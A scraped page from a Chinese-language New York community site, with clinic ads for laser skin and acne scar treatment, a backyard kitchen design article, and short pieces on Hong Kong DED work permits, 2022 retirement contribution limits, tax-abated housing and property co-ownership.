电话:(718) 661-9554

营业时间:

星期一 09:00–18:00

星期二 09:00–18:00

星期三 09:00–18:00

星期四 09:00–18:00

星期五 09:00–18:00

星期六 09:00–17:00

星期日 09:00–17:00


曼哈顿Chinatown诊所

地址:185 Canal Street, Suite 201, New York, NY 10013

电话:(212) 233-3441

营业时间:

星期一 09:00–18:00

星期二 09:00–18:00

星期三 09:00–18:00

星期四 09:00–18:00

星期五 09:00–18:00

星期六 09:00–17:00

星期日 09:00–17:00


布鲁克林诊所

地址:6402 8th Ave, Suite 505, Brooklyn, NY 11220

电话:(718) 921-6200

营业时间:

星期一 09:00–17:00

星期二 09:30–18:00

星期三 09:30–18:00

 星期四 11:00–06:00

 星期五  休息

 星期六 休息

 星期日 09:30–18:00

 

 

纽约皮肤科专家崔建医美镭射中心

激光去除脸部斑点 –  快速、简单、微创

现在医学普遍认可激光去除色斑、色素,是一种安全、有效、简单而快速的方法。多波长的KTP激光系统产生的瞬间强光脉冲,被色素吸收后,能破坏皮肤中的色素,从而达到祛斑美白的作用。

激光祛斑的步骤其实非常的简单:
第一步 – 光吸收

激光产生的瞬间强光脉冲,无损穿过皮肤表层,被皮肤中的黑色素吸收。

第二部 – 色素分解

激光转换成的光声波,将黑色素分解成为小颗粒。

第三步 – 清除色素

黑色素分解成的小颗粒,随后会被自身皮肤里面的巨噬细胞清除,然后自然新陈代谢掉。

激光祛斑安全简单

QX MAX激光 – 清除皮肤色斑 纹身颜料

在所有波长的激光里面,医学界普遍认为Q开关(Q-switch)激光是比较理想的清除皮肤黑色素的工具。Q开光激光产生的脉冲激光,能在极短时间内发出热量,并达到清除色斑以及真皮层黑色素,以及清除皮肤中因为纹身而留下的颜料。

纽约崔建皮肤科医生主理的镭射中心,拥有先进的Fotona QX MAX激光系统,结合了4种高频脉冲激光模式,应对不同种类的色素问题,并有效去除各类脸部色素沉着、色斑和纹身。

这种Q开光激光,在极短时间内可以将皮肤内的纹身颜料分解成小颗粒,然后被人体自身的免疫细胞清除掉。激光去除纹身现在被认为是最安全和有效的标准治疗方法,专业人员掌握的激光正确使用方法可以有效去除所有常见的纹身颜色。

激光清除纹身前后对比

选定好特定频率的激光后,激光能深入皮肤,但不会损伤表层皮肤。这些脉冲能量被皮肤中的墨水颜料吸收,墨水被分解成小颗粒,然后被人体自然新陈代谢。治疗的次数则要取决于纹身的大小、位置、深度和颜色等等。

IPL强脉冲光 – 去除老年斑、雀斑、黄褐斑、胎记

纽约医美镭射中心的IPL强脉冲光可以为患者解决多种皮肤问题,比如:老人斑、雀斑、胎记、黄褐斑等。治疗时间短,只需要15-30分钟,光线照到皮肤上有温暖的感觉,没有任何的不适。通过IPL治疗,在去除皮肤瑕疵的同时,能够刺激皮肤胶原蛋白和弹性纤维的产生,这种治疗方法安全可靠,并已获得FDA批准。

激光去除老人斑、雀斑、胎记、黄褐斑,安全快速

激光治疗脸部色素问题的最大的好处就是快速有效、无伤口、恢复时间短、效果显著。激光祛除脸部色斑的方法,被证明可以适用于所有的皮肤类型,包括各族裔。不过,前提条件是需要专业皮肤科专家的诊断、需要“对症下药”。举例说,亚洲人的皮肤对热特别敏感,假如没有选择正确的激光源或者方法不当,反而会导致皮肤色素沉着更加严重。

纽约崔建皮肤科医生的主理的医美镭射中心,已经成熟掌握了所有各族裔的皮肤类型所适用的激光光源。

激光治疗脸部色素问题

镭射(激光)治疗脸部色斑、色素沉着的特点

  • 安全有效
  • 恢复时间短
  • 适合所有特质的皮肤
  • 无需手术没有伤口
  • 可以精准治疗

镭射(激光)治疗后的注意事项

  • 治疗后脸部有些发红,会在几小时内消失;
  • 治疗后当天就可以恢复日常活动;
  • 治疗后几天内涂抹防晒霜,避免阳光直射。

纽约崔建皮肤专家 医美镭射中心

法拉盛办公室电话:  718-445-6000 (42-35大街,#3B纽约州法拉盛 11355)

埃尔赫斯特办公室电话:718-457-0002 (87-01 56th Avenue Elmhurst, NY 11373)

曼哈顿办公室电话:212-343-1257 (139中心街 #215 NY, NY 10013)

布鲁克林办事处电话:718-484-8800 (849 57th Street 6F 布鲁克林,NY 12200)

2021-11-09 / by / in ,
纽约后院厨房如何设计 | 纽约户外厨房布局的基础知识 | 纽约户外厨房的8个好处

文|雨荷

纽约华人对户外设计的兴趣日益升温,在后院建造户外厨房不仅意味着要考虑到烧烤的空间,还要为家庭聚餐和招待朋友创造空间。当天气晴朗,阳光明媚时,您最不想做的就是被困在室内厨房里。后院厨房(户外厨房)可以有各种各样的户外烹饪选择,您在户外厨房为自己、家人和客人制作美味的饭菜。无论您最喜欢哪种烹饪方式或餐点,户外厨房可以让您的烹饪梦想成真。那么户外厨房是怎么设计更合适呢?下面介绍下关于户外厨房的布局。

纽约华人对户外设计的兴趣日益升温,在后院建造户外厨房不仅意味着要考虑到烧烤的空间,还要为家庭聚餐和招待朋友创造空间。 示意图

纽约后院厨房(户外厨房)布局的基础知识 

在规划户外厨房项目时,需要对各种布局有一定的了解,以最大限度地利用空间、功能和其他便利设施的整合。这样做有助于创建一个户外生活区,在烧烤岛之外提供娱乐。户外厨房布局由台面、主要电器和存储区的布置决定,并包含用户从冰箱到水槽再到烹饪区时,所做的工作三角形或路径。以下是三种户外厨房设计布局的简要概述:

U型户外厨房

U 形户外厨房为准备食物、烹饪、服务和与客人互动提供了充足的空间。因此,这种布局对于户外烹饪和娱乐非常有益且用途广泛,而且往往最适合大型厨房。这是任何大小户外厨房区域最通用的布局,因为它提供连续的台面和充足的存储空间,从三个侧面围绕着厨师。有了更大的空间,这个平面图足够宽敞,可以分成多个工作站供一个或多个厨师使用。

L型户外厨房

这种类型的户外厨房计划和布局,由两个相邻墙壁上的柜台空间和操作台创建的自然三角形。这种厨房平面图的好处是,它不仅为厨师提供了一个高效的工作区,而且厨师也很容易与客人互动。L 形户外厨房非常适合家人和朋友进行社交和聚会,有足够的空间放置柜台座位。聚会上的每个人都有座位,厨师不必感到被冷落。L型设计布局,让您既能当主人,又能轻松做饭。当您正在烧烤令人难以置信的美食供所有人享用时客人就在眼前。

L 形户外厨房非常适合家人和朋友进行社交和聚会,有足够的空间放置柜台座位。 示意图

画廊户外厨房

画廊户外厨房与其室内对应物一样,室外厨房布局通常是空间设计的首选。它由两个长方形橱柜组成,这些橱柜与电器相对,并被步行区隔开,在准备食物时可以轻松地来回走动。工作空间足以容纳一名厨师,并创建了一个小的工作三角形。这个画廊厨房适合后院空间小的庭院,因此台面颜色选择、植物和照明至关重要。

纽约后院厨房的8个好处

后院厨房好处一:最大化娱乐和生活空间

添加后院厨房最明显的好处是获得更多空间。您将有更多的娱乐空间,尤其是大型团体。也许您的室内空间不够开阔或不够宽敞,无法举办大型聚会。户外厨房为您提供露台和庭院空间,供人们在准备美味佳肴时放松身心。即使您不经常娱乐,您或您的家人仍然可以使用户外厨房。

后院厨房好处二:扩大生活空间

户外厨房设计通常反映室内设计,成功地将室内过渡到室外,并利用以前未使用的室外空间或重新利用它。室外厨房可以扩展到包括其他烹饪用具,例如比萨饼烤箱、平顶烤架和吸烟者。使用可容纳厨房用具、隐藏垃圾、提供存储空间的橱柜来增强户外厨房布局,有助于集中烹饪活动。增加柜台空间提供了一个准备区、一个调酒中心和一个招待客人的地方,让他们可以四处闲逛和社交。安装冰箱、制冰机、移动饮料车和室外水槽,这里就是一个全方位的娱乐绿洲。室外洗碗机提高了清洁简单性和进屋次数的标准,使室外厨房功能齐全且高效。

户外厨房设计通常反映室内设计,成功地将室内过渡到室外,并利用以前未使用的室外空间或重新利用它。 示意图

后院厨房好处三:为您的家增添价值

如果您用于户外厨房的设备及备件是高质量的,它们将持续很长时间。即使您不立即出售,投资也会为您的房屋增值。潜在的买家会喜欢在外面增加一个独特的厨房。就算您没打算卖掉房子,扩大户外生活区仍然是一项值得的投资。据 Zillow 称,带有户外厨房的房屋售价比预期高出近 30%。在 2016 年 1 月至 2017 年 12 月期间全国售出的近 400 万套房屋中,这些户外设施、设施和设计风格对售价的影响最大。

后院厨房好处四:保持室外强烈的烹饪气味

烹饪鱼、辛辣食物和其他食物留下强烈的气味可以在室内厨房里逗留好几天。有了户外厨房,您就不必担心露天新鲜空气中的异味。户外烹饪消除了这些问题,从而使烹饪更方便,家庭环境更佳。

后院厨房好处五:让烹饪变得有趣

您总是在同一个地方做饭会变得重复,甚至可能有点无聊。建造一个户外厨房为您提供了一个新的空间来使用新的厨房用具。烹饪散发出强烈气味的食物?没问题。让它们分散在室外而不是室内厨房内,因为室内厨房可能会渗透到家中的其他地方。罐头或煮龙虾?在户外厨房完成这项任务的绝佳机会。而在室内地板上弄得一团糟,然后是滑倒和跌倒的危险。

您总是在同一个地方做饭会变得重复,甚至可能有点无聊。建造一个户外厨房为您提供了一个新的空间来使用新的厨房用具。 示意图

后院厨房好处六:节省水电费

 当您在室内做饭时,它会为您的家提供暖气。您的空调必须更加努力地工作以对抗热量。在户外做饭时,您不必担心室内厨房供暖,让您的空调免于加班。

后院厨房好处七:比外出就餐省钱

 户外厨房让烹饪再次令人兴奋。您会想要使用您的新电器和新空间来创造回忆和美味佳肴。避免在周末外出就餐或点外卖,而是使用新的户外厨房。出去吃饭可能会很贵。如果你有一个带用餐区和烹饪区的户外娱乐空间,您就不太可能去餐厅吃饭,这样可以省钱。

后院厨房好处八:让户外烹饪更轻松

如果您目前只有户外烧烤架,您就会知道拥有更多准备空间的重要性。户外厨房设计为您提供工作台面空间、清洁水槽和冰箱,以消除进出家门的次数过多。晚上结束时清理会很简单,因为您可以在外面清洗和存放餐具,而无需将所有东西都带回室内。此外,有了设备齐全的户外厨房,准备、烹饪、清洁、吃饭、喝酒和整体户外娱乐活动都集中起来,并提供必要的物品来实现这一切。

 

有了设备齐全的户外厨房,准备、烹饪、清洁、吃饭、喝酒和整体户外娱乐活动都集中起来,并提供必要的物品来实现这一切。 示意图

最后,户外厨房的设计和布局充满了创造力,只有在定制室内厨房作为建造或翻新房屋的一部分时才能实现。无论是在甲板、露台还是屋顶上安装户外厨房,与室内相比,工作中的障碍和注意事项仍然较少。

 户外厨房设备、备件联系人: Linda Li

                                        电话:3123583566 

 

 

 

2021-11-08 / by / in , , , , ,
纽约皮肤科专家 助您轻松祛痤疮 | 痤疮疤痕 粉刺 青春痘一扫光

粉刺,也称为青春痘,痤疮,是青少年最常见的皮肤问题。因为太常见,所以一般不是很严重的情况下,大家就会顺其自然。但由于痤疮会反复发生,而且此起彼消,严重的还会留下永久疤痕。纽约的皮肤专家告诉您,痤疮其实是一种毛囊皮脂腺的慢性炎症。

纽约魏华臣皮肤科医生 镭射中心

法拉盛办公室电话:  718-445-6000 (42-35大街,#3B纽约州法拉盛 11355)

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为什么会长痤疮?

皮肤专家告诉您,痤疮与内分泌有关,由于皮脂分泌过多、淤积而成。痤疮也与细菌感染有关,细菌繁殖进而刺激毛囊就会引起炎症。

痤疮会发生在面部、颈部、胸部和背部。

痤疮按照程度可以分为轻度、中度和重度。轻度到中度的痤疮一般比较小,不太会引起注意。而重度痤疮就会有发炎现象,痤疮的中心会出现脓疱性改变,由于反复发生,会有大小不等的囊肿出现,并留下疤痕疙瘩,严重影响美观。要去除痤疮疤痕,需要专业皮肤科医生帮您检查和诊断,并制定一套符合您皮肤特点的治疗方案。

痤疮分为轻度、中度和重度

痤疮疤痕形成原因

虽然粉刺,或者说痤疮最终会褪去,但是在脸上却可能会留下永久而不受欢迎“记忆”。

当毛囊或毛孔被多余的油脂、死皮细胞和细菌填满时,皮肤就会出现发炎的现象。由于发炎毛孔膨胀,就会导致毛囊壁破裂。如果破裂发生在皮肤的表皮,那么伤口很快就会愈合;如果毛囊壁的破裂发生在皮肤的深层,一旦真皮层受到感染、健康的皮肤组织受到感染后,对皮肤的损伤就很严重。这时,身体再生功能的机制开始工作,皮肤会形成新的胶原纤维,来修复皮肤的真皮层。遗憾的是,经过了“修复”以后的皮肤,已经回不到原先的光滑平整了,那么就会在皮肤上留下痤疮疤痕。

痤疮疤痕的形成

所以,形成疤痕的“元凶”是炎症,皮肤上的炎症越是严重,出现痤疮疤痕的可能性就越高。因此,当发现痤疮处有炎症出现时,早期的治疗是预防痤疮疤痕的关键。

痤疮疤痕的治疗

魏华臣皮肤科医生的纽约镭射中心,拥有国际先进的皮肤治疗技术,并提供以下多元治疗方案:

点阵激光 RESURFX ,这是获得FDA批准的治疗方法,是解决疤痕问题的一项值得信赖的技术。

先进的Dermapen 微针, 微针技术可以刺激天然胶原蛋白再生,为真皮细胞提供营养并且刺激皮肤更快修复。

贝拉菲尔 Bellafill 胶原蛋白填充剂。

射频RF微针治疗,这种方法是通过射频能量加热真皮刺激胶原蛋白,而不会损伤周围组织或真皮外层。传递给胶原蛋白的热量,会促发新的胶原蛋白产生。从而令皮肤恢复光滑、紧致。

痤疮疤痕治疗

 

专业的皮肤科医生会根据患者皮肤状况,痤疮严重度等等,为每一位患者量身制定一套最有效的治疗方案。

魏华臣皮肤科诊所接受大部分的健康保险计划:蓝十字、联合、牛津、老人卡、第一保健、GHI、HIP、Aetna、Affinity、Metroplus、Wellcare、各种工会及1199等。

痤疮疤痕的预防

我们虽然无法阻止痤疮的产生,也不能完全防止痤疮疤痕的出现,但是如果积极做好预防措施,也许可以最大限度的减少痤疮疤痕的产生概率。

首先,不要用手去挤青春痘,用手去挤压的时候细菌会跟着进入真皮层,感染皮肤的其它组织从而引发更多的炎症。所以,时时要提醒自己不要用手去挤压,这样反而会使痤疮的愈合时间增长,还会增加留下永久的痤疮疤痕的机会。

不要用手挤压青春痘(痤疮)

其次,如果已经出现了痤疮囊肿或者又大又深的结节性的痘痘,这种情况就很有可能会留下长久的痤疮疤痕了。市场上面的一些非处方的治疗痤疮的药物,一般效果都不理想。如果想要消除疤痕,找皮肤科专家是最有效和安全的选择。越早治疗,能防止痤疮向严重的方向发展,最大限度减少疤痕的产生。根据痤疮和痤疮疤痕的严重程度,专业皮肤科医生可以采用多项的组合治疗方法,比如化学换肤、Bellafill以及激光治疗,都是非常有效的治疗方法。

我们平时的一些生活习惯,也可以帮助预防痤疮:

  • 选择用非油性的脸部清洁品,比如香皂洗脸,早晚两次彻底清洁脸部皮肤;
  • 一些化妆品,如过厚的粉底或粉扑会造成毛孔堵塞,形成粉刺。女士们可以尽量减少化妆,或者化淡妆;平时用的护肤品或彩妆尽量选择无油型;
  • 情绪和睡眠都会影响皮肤状态,所以平和的心态、规律的作息、充足的睡眠都有助于痤疮的治愈;
  • 饮食方面,尽量少食巧克力、坚果、花生、甜点、油炸食品和辣椒这些刺激性的食物;
  • 避免太阳暴晒;
  • 小心使用发油、发胶,这些油性物质或化学品粘在前额皮肤上容易造成前额的痤疮。

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2021-11-08 / by / in ,
获准延期离境的港人可申请工卡 移民律师:申请政治庇护需尽早

近日,美国公民及移民服务局(USCIS)公布了“对在美的香港居民延期强制离境 (DED)”政策的相关细则:某些符合条件的香港居民可以申请为期18个月的DED临时工卡,若获批,最长可停留到2023年2月5日。根据美国惯例,临时工卡到期后一般可延期1至2次。临时工卡不能赋予申请人合法身份,但可以让他们留在美国工作,特殊情况下也可以出国。

2021年8月5日,美国总统拜登颁布了这项总统令,对在美的香港居民延期强制离境 (DED)至少18个月。理由是中共对香港的人权和自由造成“严重侵蚀”。

DED 是一项 人道主义行政暂缓遣返 ,根据总统的宪法授权进行对外关系授权。如果需要返回经历政治不稳定、冲突或其他不安全条件的地区或国家,在美国的外国公民可能面临危险,通常会授予此资格。

符合香港 DED 资格的人士必须:

  • 持有香港有效证件,如香港特别行政区护照、英国国民海外护照、英国海外公民护照、香港永久性居民身份证或香港特别行政区签证身份证明文件;
  • 自 2021 年 8 月 5 日起一直在美国并持续居住在美国;
  •  在 2021 年 8 月 5 日之后没有自愿返回香港或中国大陆。

尽管 DED 不是特定的移民身份,但 DED 涵盖的个人不会被驱逐出美国,通常是在指定的时间段内。此外,总统可以指示 DED 指令涵盖的非公民可以获得某些福利,例如就业授权或旅行授权。

USCIS会发布联邦公报通知,指导受保人群如何申请所提供的任何福利。

有资格获得 DED 的人可以申请就业授权文件 (EAD)。为此,申请人必须:

  • 提交就业授权申请(I-765 表格)并表明他们有资格获得 DED,即表格上的 (a)(11) 类别;
  • 根据表格说明提交所要求的文件;
  • 提交费用(410 美元)或申请费用减免。

如果需要生物识别,USCIS 将通知申请人。

EAD,包括基于 DED 签发的 EAD,是 用于 I-9 表就业资格验证目的的 A 清单文件 ,应被接受。

该说明表明 DED 受益人也可以申请旅行授权(提前假释),这将由国土安全部酌情批准。申请提前假释意味着向 USCIS 提交 I-131 表格并支付适当的费用。I-131 表格可以与 I-765 表格同时提交。

有关更详细的说明,请 参阅 联邦纪事

移民律师提醒港人:申请政治庇护需尽早

纽约移民律师艾飞力(Alexandre)提醒在美的香港人,如想长期留在美国,需尽早做移民规划,现在提交政治庇护申请可获得较快的面谈通知。

艾律师表示,违反香港“国安法”的犯罪记录不应该对申请者有不利的影响。在香港有违反“国安法”犯罪记录的人,如果是轻罪就没有关系;如果是重罪,可以进行辩护,应该可以成功。因为美国国会不赞同这样的罪名。因为言论自由而被定罪,美国不认同这样的法律。

 

2021-11-08 / by / in , , , ,
国税局:401(k)退休福利计划 供款限额提高至20,500美元

11月4日,美国国税局宣布,个人可以为其 401(k) 退休福利计划供款的金额从 2021 年和 2020 年的 19,500 美元增加到2022 年的20,500 美元,并调整个人退休金帐户(IRA)和Roth IRA的部分优惠。在国税局的英文公告中,还发布了2022 纳税年度生活成本改变后,被其影响的养老金计划和其他退休相关项目的金额限制的技术指南,公告发布在国税局官网 IRS.gov 上。

退休相关项目2022年变化要点

参加 401(k)、403(b)、大多数 457 计划和联邦政府节俭储蓄计划的员工的供款限额从 19,500 美元增加到 20,500 美元。

向传统个人退休金账户(IRA)做出可扣除供款、向罗斯IRA供款和申报退休金储蓄供款抵免优惠(储户抵免优惠),其资格是由收入范围决定的,其范围在2022年扩大了。

如果纳税人满足某些条件,他们可以扣除对传统IRA的供款。如果在这一年中纳税人或纳税人的配偶在工作中有加入退休计划,则扣除额可能会减少或逐步撤销,直至完全取消,具体取决于报税的状态和收入。(如果纳税人和配偶均没有在工作中加入退休计划,则扣除额的逐步撤销不适用)

2022年的逐步撤销范围

  • 对于有雇主提供退休金计划的单身纳税人,逐步撤销范围从 66,000 美元增加到 76,000 美元,最高从 68,000 美元提高到 78,000 美元。
  • 对于联合报税的已婚夫妇,如果缴纳IRA 供款的配偶享有其雇主提供的退休金计划,则逐步撤销范围从105,000 美元增加到125,000 美元,最高从109,000 美元提高到129,000 美元。
  • 对于没有雇主提供退休金计划的IRA供款人,如果其配偶享有雇主提供的退休金计划,逐步撤销范围从 198,000 美元增加到 208,000 美元,最高从204,000 美元提高到 214,000 美元。
  • 对于有雇主提供退休金计划的单独报税的已婚人士,逐步撤销范围不受年度生活费调整的影响,且仍为 0 至 10,000 美元。

向罗斯 IRA 供款的纳税人的收入逐步撤销范围,单身人士和户主,从 125,000 美元增加到 140,000 美元,最高从 129,000 美元增加至 144,000 美元。对于联合申报的已婚夫妇,收入撤销范围从 198,000 美元增加到 208,000 美元,最高从 204,000 美元提高至 214,000 美元。向罗斯 IRA 供款的已婚单独申报者的逐步淘汰范围不受年度生活费调整的影响,且仍为 0 至 10,000 美元。

中低收入员工的储户抵免优惠(退休金储蓄供款抵免优惠)的收入限额,已婚联合申报者从66,000 美元提高至68,000 美元;户主从49,500 美元提高至 51,000 美元;单身与已婚分别申报者,从33,000 美元提高至34,000 美元。

个人可以为他们的 SIMPLE 退休账户供款的金额从 13,500 美元增加到 14,000 美元。

员工供款限额保持不变的主要部分

对 IRA 的年度供款限额保持不变,为 6,000 美元。50 岁及以上个人的 IRA 追补供款限额不受年度生活费调整的影响,仍为 1,000 美元。

参加 401(k)、403(b)、大多数 457 计划和联邦政府节俭储蓄计划的 50 岁及以上员工的追补供款限额保持不变,为 6,500 美元。因此,从 2022 年开始,50 岁及以上的 401(k)、403(b)、大多数 457 计划和联邦政府节俭储蓄计划的参与者最多可以供款 27,000 美元。50 岁及以上员工参与 SIMPLE 计划的追补供款限额不变,为 3,000 美元。

有关 2022 年与退休相关的生活成本调整的详细信息,请参见4日 IRS.gov 公告 https://tinyurl.com/fmmp3rxx

 

2021-11-07 / by / in , , , ,
在纽约您买减税房 应了解减税政策来历 种类 方法及注意事项

在纽约买房,谁都想买上一套自己心仪的房子,环境优雅、交通便利,当然更希望能买到一套纽约的减税房。

希望能买到一套纽约的减税房

希望能买到一套纽约的减税房

为什么呢?我们都知道,美国不仅是一个法治国家,同时也是一个重税收的国家。虽然您在美国买房会拥有永久的产权,但是每年的房屋税费是必不可少的。而这个地产税对一个普通家庭来说,也是一项不小的支出。
如果我们有机会能买到一套减税房,那当然好。因为它能为我们节省一笔可观的税费。可是任何事物都有它的两样性,在我国传统文化中就讲到了相生相克的理。就是说,也许您买到了一套减税的房子,给您省下了一笔房税,但是房子的地理位置,外部环境,交通便利等等可能就不会很理想了。
当然我们有一些老年朋友,因为年龄大了喜欢安静,所以就想离闹市远一点。这类的朋友在偏僻一些的地区买减税房子就比较合适。
那么要想买减税房,我们首先要了解一下减税楼是怎么回事,了解清楚了我们就不会盲目的跟风,去抢购减税楼了!

废旧仓库改建

废旧仓库改建成减税楼

偏远地区的减税政策

偏远一些地区的减税政策

一,减税楼的来历
早在1971年。当时,纽约政府为了鼓励开发商开发一些未利用的土地,而对地产开发商提供了一个非常大的、有一定年限的减税。
比如,布鲁克林区的DUMBO曾经是个工业区,充满了破旧的厂房和仓库。后来,政府对这里重新进行了规划,并对地产开发商给予优厚条件,提供地税减免鼓励开发商来这里开发改造。
另外还有一些比较偏远的,交通不太便利的地方。政府也会提供减税政策。
尽管政府有减税政策,但是我们要明白一点,任何事物都是有利有弊。当我们了解了利弊这些情况后,就要慎重去选择了。
二:纽约减免政策的种类
在纽约,比较常见的新楼盘减税政策是421-A减税政策。除此以外,华人买家比较常接触到的还有J-51减税政策,以及Condo的首要自住房减税政策。下面我们就来说说这些政策。
1,421-A减税政策
我们已经谈过,纽约的减税政策主要是针对当时众多废弃的工业区,厂房、仓库、还有一些码头等等,但是这些地方如今在纽约几乎是没有了,那么这些减税政策也就可能逐渐的被取消。
由于421-A这个减税政策的年限是10年、15年、20年,甚至还有25年的,所以有些楼房还在享用着这些政策。虽然还在享用,但时间都很有限了。
2, J-51减税政策
在纽约J-51减税政策是指,当开发商将工业或者商业地产改建成住宅项目时,符合条件的楼盘将会享受到J-51地税减免。J-51减税政策一般有两个地税减免周期。如果开发改建项目里有可负担住房(affordable housing),那么楼盘会享有34年的减税周期。前30年税率不变,后面4年每年逐年递增。如果没有提供可负担住房,减税周期就是14年,前10年税率不变,后面4年每年逐年递增。
当然在纽约这种楼盘也是很少的了。
3,自住房减税政策
在2015年8月1日之后买房的纽约人,可以申请纽约州房星计划(STAR)。
条件是:年收入在50万以下,并且申请减税的房产必须是自住而且还是主要的住所。符合条件的申请人,房产价值中的3万美元可以免学区税。65岁以上的长者可以享受升级版的房星计划(Enhanced STAR),要求是年收入要在84,550美元以下,房子也是自住并且是主要住所,符合条件的长者,房产价值中的65,300美元可以免学区税。
所以朋友们在买房时,当看到有减税政策时,一定要看清是属于哪一种类型的,是否适合与自己,这些都是要搞清楚的。
三,减税的方法
我们在买房市场上,可能会看到拥有10年,15年,20年,甚至是25年的减税楼盘。
不同减税的年限,自然减税的金额也不相同。一般来说:如果一个楼盘是10年减税优惠,通常情况是前两年全额减免,而后每两年减税的优惠递减20%, 比如第二年减税80%,第4年减税60%,第6年减40%,此次类推,直到10年后地税和市场正常税率持平。20年的减税优惠是头12年全额减免,最后8年,每两年递增20%,最终逐渐涨到正常的市场税率。
如果享有J-51地税减免,比如有34年的减税周期。前30年税率不变,后面4年每年逐年递增。如果没有提供可负担住房,减税周期就是14年,前10年税率不变,后面4年每年逐年递增。

小心减税陷阱

当心减税陷阱

四,当心减税陷阱
我们这里所说的陷阱,不是像中国一样,中共政权为了它自身的利益,时常对百姓会使用一些欺骗、隐瞒的手段,让中国的百姓去上当、受骗。比如像中国房地产的龙头企业恒大,全国几十万人上当受骗,有的甚至是倾家荡产、血本无归。
而在美国是不会这样的,因为美国是一个法治国家,政府也得遵循法律办事,所以像中国恒大这样的事情,在美国是不会发生的。
但是美国也有美国的特点,那就是条条框框太多,如果您稍不注意忽略了某一点,就可能会给自己造成损失。比如说:我们上面谈到的减税楼房,有的地产商的确向政府申请减税了,可是在你买房时这个申请一直没有批下来,如果说批不下来,那么你所买的房子就享受不了减税政策。
再比如,有的减税楼它是有附加条件的,如果我们不注意这个附加条件,就会给我们买房后带来麻烦。
就拿我们上面谈到的自住房减税政策来说,它只适用于自住房,也就是说这个减税的政策只能是自住的买家享受,如果您买这个房子是用于出租投资,那您就不能享受这个减税待遇。如果您没搞清楚,去买了这类减税的房子,一旦被政府查到你买的房子是用于出租,那么您享有减税的所有优惠都会被取消,同时还可能会带来一笔罚款。这样就得不偿失了!
即使我们确定了要买的楼盘有减税,那么我们也要了解清楚,到底这个减税还剩下多少年,什么时候结束,在结束期间它还会不会有一些其它的变化。比如说,15年的减税楼盘,那么在结束之前的八年,这个地税每两年会有20 %的一个涨幅,所以你一定要看看,你在购买的时候这个减税的政策还剩下多少年,地税会发生哪些变化等等。
以上所谈的这些,希望能给我们华人的朋友们一个借鉴。在此也祝愿朋友们都能买到一套自己心仪的房子。

2021-11-07 / by / in ,
【郭凤丽律师谈楼说市】浅谈纽约房屋产权的共有关系 如何做授权委托书?|纽约房地产律师

郭凤丽律师是顶级的纽约房地产律师之一,纽约房屋买卖的法律专家。近二十年的职业经验,提供美国纽约房产买卖的专业服务,有数千成功过户案例。如果您正计划在纽约购买或出售房产,或者您有纽约买房贷款、纽约房屋产权调查、房屋保险、纽约房屋检验、纽约房屋过户、房屋买卖合同、文件谈判条款等纽约房屋买卖的任何问题,现在就请致电郭律师,以获取免费的、完全保密的法律咨询(718-888-8720)。

纽约房屋产权共有关系的三种情况

在我们华人大家庭中,经常出现大家共同购房的情况。出现两个以上的屋主在法律上就会涉及到共有关系。在法律上的房产的共有关系一般有三种情况。

第一种类型叫按份共有。法律上的术语叫Tenants in common,这个意思就是说不同的屋主可以按照不同的份额来拥有这套房产。举个例子,比如说兄弟两个购买这个纽约房产,大家可以在房契上写清楚,哥哥拥有50%的产权,弟弟拥有50%的产权,这个就叫按份共有,一个人一份的。

相关文章:【郭凤丽律师谈楼说市】美国纽约买房前怎样做房屋检验?|纽约房屋产权调查 

第二种情况叫Joint tenants with the right of survivorship,翻译成中文叫共同共有加长命契的形式,意思就是说,如果两个屋主都在世的时候,这个份额是大家共同拥有的;但是如果一个屋主先去世了,那么存活的这个屋主就会自动享有全部的产权。

这种情况经常出现在父母子女之间,比如爸爸妈妈和小孩买了这个房子,那么大家经常写上共同共有加长命契,万一哪天,自然规律的关系父母先过世了,这个房产就可以100%过到小孩的名下。这种情况不需要交遗产税,也不需要走遗产法院的法律程序。

对比刚才第一种情况按份共有,如果大家写清楚份额了,如果一方的屋主去世了,那去世的屋主的份额就属于他的遗产,就要走遗产法院的程序。或者它的价值高到一定程度的话,还有可能要交遗产税。

第三种共有形式是夫妻之间特有的一种共有形式,法律上叫Tenants by the entirety. 是说夫妻都在世的时候大家共同拥有,如果一方去世的话,存活的这一方会100%自动拥有这个产权。之所以把第三种情况单独列出来,是考虑到夫妻共同购房,可能在将来两个人不想共同生活了,想要离婚,那么这种共有形式就会适用离婚时的安排。

在纽约买房时,到底自己的家庭适用以上三种情况中的哪一种呢?这个要根据自己家庭的实际情况,比如财务状况、血缘关系、亲属关系或以后的财务规划,每个家庭的情况不一样。

如果不是很肯定最终采取哪种共有形式,可以找专业的律师咨询。

如何做授权委托书

在纽约买卖房产的过程中,经常会有人说,可能过户的时候,我没有办法过来,这样有办法进行过户吗?那这种情况我们可以通过做授权委托书来完成过户。

纽约房产过户的授权委托书的第一个要求是对于人的要求,做授权委托的人叫委托人,帮别人签过户文件的这个人叫做代理人。委托人和代理人他们在法律上都需要拥有完全民事行为能力。

什么是完全民事行为能力呢?一般我们是从年龄和智力水平方面来评断。第一个,年龄,这个人需要是法律规定的成年人的年龄,你不能授权给一个10岁的小孩,他可能搞不清楚状况,没办法做决断。第二个,智力情况。智力情况并不是说要求委托人或代理人非常聪明、非常懂法律,不需要是一个专家。只要是一个正常人,有一个正常人的理解、行为能力和签字能力就可以了。这里举个例子,如果委托人是一个老人中心的老人家,已经失去知觉了,这种情况下他的智力水平就已经丧失民事行为能力了,他就不可以做授权委托书了。同样的,如果请一个代理人,他不能是智力有问题,或经常喝酒,喝醉了,也不可以做授权委托书。

第二个要求是程序上的要求。因为做授权委托书委托人的签字是需要公证的。常见的公证是美国境内做的,也有在美国境外做的。这是两种完全不同的要求。如果在美国境内做的,你只要去美国境内任何一个公证地保,在公证人员的面前签字,公证地保给公证了,这个就是有效的。

但是如果这个委托人在海外,比如在中国、在台湾,这个要求就比较特别。一定要到海外的美国领事馆,领事馆都有提供公证服务的。到了领事馆,领事官员会当着面签了字,替大家公证,这样的公证才是有效的。

最后要跟大家解释一下,哪些情况是不可以做授权委托书的。第一种情况是交易的房子是遗产,那么遗产有一个遗嘱执行人,这个人必须本人到场,法律不允许再做授权委托书了。第二种如果是信托在进行交易的话,那信托一般有个信托管理人,叫trustee,这个trustee在法律上来讲也不可以授权另外的代理人,必须本人到场签字。

最后一种情况,如果纽约房产交易当事方是一个公司,一般公司会在过户前做一个股东决议,这个股东决议会授权公司的一个官员替公司签字,这种情况这个官员就要本人替公司签字,不可以授权另外的人。

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2021-11-06 / by / in , , ,
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2021-11-03 / by / in
【郭凤丽律师谈楼说市】美国纽约买房前怎样做房屋检验?|纽约房屋产权调查 纽约房地产律师

